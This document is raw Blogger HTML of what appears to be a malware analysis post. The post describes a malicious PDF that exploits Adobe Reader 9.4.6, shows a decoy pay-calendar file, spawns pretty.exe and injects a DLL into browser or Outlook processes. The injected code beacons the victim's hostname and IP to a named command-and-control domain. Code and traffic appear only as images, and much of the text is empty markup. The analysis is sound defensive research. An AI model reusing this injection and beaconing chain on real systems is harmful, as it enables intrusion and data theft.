&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Launching this exploit on the Windows platform with
Adobe Reader 9.4.6 installed , it will crash and open the new document &lt;b&gt;&lt;i&gt;2012
Federal Employee Pay Calender.pdf &lt;/i&gt;&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjohEDPEABoEesiYqjl8DqrjEJZAFiS6h9GZV7y6O-dmFXqrIxitXKcsnpqarN-YCSoaegZzQktU2W4FFIUJuMU78Efz7iPzjzXXycyzQVJdIFYHx_xdvWEzk2_Uez908cu9e5Ls3IPlOo/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjohEDPEABoEesiYqjl8DqrjEJZAFiS6h9GZV7y6O-dmFXqrIxitXKcsnpqarN-YCSoaegZzQktU2W4FFIUJuMU78Efz7iPzjzXXycyzQVJdIFYHx_xdvWEzk2_Uez908cu9e5Ls3IPlOo/s400/1.png&quot; height=&quot;162&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Spawning the new process &lt;/span&gt;&lt;b style=&quot;font-family: inherit;&quot;&gt;pretty.exe&lt;/b&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt; and finally injecting the
WSE4EF1.TMP.dll in iexplore.exe proces which then connects to the command &amp;amp;
control server.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsouo5OqmgcPmuEWj0U9IsCss2tzgGjob-AZjxsmGltr6m5EM78W_YaMb2ZRAhg9ezX5jW3XP3FJqKDp77GqCLAkAYpPR5H3BwP6QejlMeFBRn7Sac9GR-u7E5KWjXVAmH-qDphoJplt8/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsouo5OqmgcPmuEWj0U9IsCss2tzgGjob-AZjxsmGltr6m5EM78W_YaMb2ZRAhg9ezX5jW3XP3FJqKDp77GqCLAkAYpPR5H3BwP6QejlMeFBRn7Sac9GR-u7E5KWjXVAmH-qDphoJplt8/s400/1.png&quot; height=&quot;212&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Looking at the code of
the&amp;nbsp; &lt;b&gt;pretty.exe&lt;/b&gt;
we’d see that it looks for outlook.exe, iexplore.exe, and firefox.exe. It then injects
the code into whichever process it finds open on the victim machine.&lt;/span&gt;&lt;span style=&quot;color: #7f7f7f; font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWN27hgdNRWc1BgKAjyVAhJitRb9hClJQQrCfTbge5LiXbeem7jd7q9n9cnxJRTrVlOuFFGOdcQGfrSPklTCTvOlq8VUeopxQLhyphenhyphenY76OkNUSNNeAOEyuMe7B5LdwrmAAxLmc0o6gAnWE/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWN27hgdNRWc1BgKAjyVAhJitRb9hClJQQrCfTbge5LiXbeem7jd7q9n9cnxJRTrVlOuFFGOdcQGfrSPklTCTvOlq8VUeopxQLhyphenhyphenY76OkNUSNNeAOEyuMe7B5LdwrmAAxLmc0o6gAnWE/s400/1.png&quot; height=&quot;193&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Network
Communications&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;Once the code is
injected into any of these open processes, a connection is made to the domain &lt;/span&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot;&gt;prettylikeher.com&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot;&gt; (IP : 72.30.2.43 which was
resolved during the time of our execution) on port 443 . Assuming that it must
be using SSL for C&amp;amp;C we hooked the &lt;b&gt;&lt;i&gt;WinInet.SecureSend&lt;/i&gt;&lt;/b&gt; and &lt;b&gt;&lt;i&gt;WinInet.SecureReceive&lt;/i&gt;&lt;/b&gt;
APIs just to check what is being sent as the encrypted request. We found the
following clear text decrypted traffic .&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYrFCJ0KLq_TMDCDrTVDTnQA8TQmMyTh1Aed8oaKrinhW4Z8qlcBZQOr5bSIIpNM-snq388-ChaZmRNpIjolLDVS-WaomySXS6HZmBRfabUvjsFBQlNafMAug8IAqWwcnorzvq0D52kz8/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYrFCJ0KLq_TMDCDrTVDTnQA8TQmMyTh1Aed8oaKrinhW4Z8qlcBZQOr5bSIIpNM-snq388-ChaZmRNpIjolLDVS-WaomySXS6HZmBRfabUvjsFBQlNafMAug8IAqWwcnorzvq0D52kz8/s400/1.png&quot; height=&quot;163&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;While the server responded HTTP 301 with the &amp;nbsp;location header having the HTTP link&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicOkmVborFobdQmVfCvEqZsw0hwbJil-3M5WIkXyDQvbOmKspHgN2ya03ORamoKd2oYA2EeMocg9DPOXRdRBf1s1gkKzBfK2PrbshZa-5UOs8WOvp2QPxmeAkyzjbGtmjiGBgBRsY-NKM/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicOkmVborFobdQmVfCvEqZsw0hwbJil-3M5WIkXyDQvbOmKspHgN2ya03ORamoKd2oYA2EeMocg9DPOXRdRBf1s1gkKzBfK2PrbshZa-5UOs8WOvp2QPxmeAkyzjbGtmjiGBgBRsY-NKM/s400/1.png&quot; height=&quot;67&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;After which HTTP GET
request &amp;nbsp;initiated looks like as shown
below . The URI query string contains the parameter which is the hostname of
the victim machine appended along with the IP address.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDXJ0_56VCC90OTJ7m7sAmCboD_s8RW_UCgVlu82bNL3gHmLbqRyE7o4BHcOMXxpvWGOTxgsD7L1krCxZK1LI2P2w1qmPl0AGLaCYYcVjZhiPi8kNtaFMTNoHHmwTk1Ikemn6BRf0iDg/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTDXJ0_56VCC90OTJ7m7sAmCboD_s8RW_UCgVlu82bNL3gHmLbqRyE7o4BHcOMXxpvWGOTxgsD7L1krCxZK1LI2P2w1qmPl0AGLaCYYcVjZhiPi8kNtaFMTNoHHmwTk1Ikemn6BRf0iDg/s400/1.png&quot; height=&quot;118&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Looking at the injected
dll , following code forms the HTTP GET request along with the URI query
parameters&lt;/span&gt;&lt;span style=&quot;color: #7f7f7f; font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsYafe_9O2d3ZkE5Op_rXIGBbKnbpnUnM_rBLxdQvAi-sdlmhiqPf2vv0WeafLNhUA77Kpq6MGX3hFqhzfg8Emmbg_SuRf9VyQTSu6pgXXnXNbSqBaLNcfJOerHFxVjzf6M3mAs5R-n4/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsYafe_9O2d3ZkE5Op_rXIGBbKnbpnUnM_rBLxdQvAi-sdlmhiqPf2vv0WeafLNhUA77Kpq6MGX3hFqhzfg8Emmbg_SuRf9VyQTSu6pgXXnXNbSqBaLNcfJOerHFxVjzf6M3mAs5R-n4/s400/1.png&quot; height=&quot;183&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
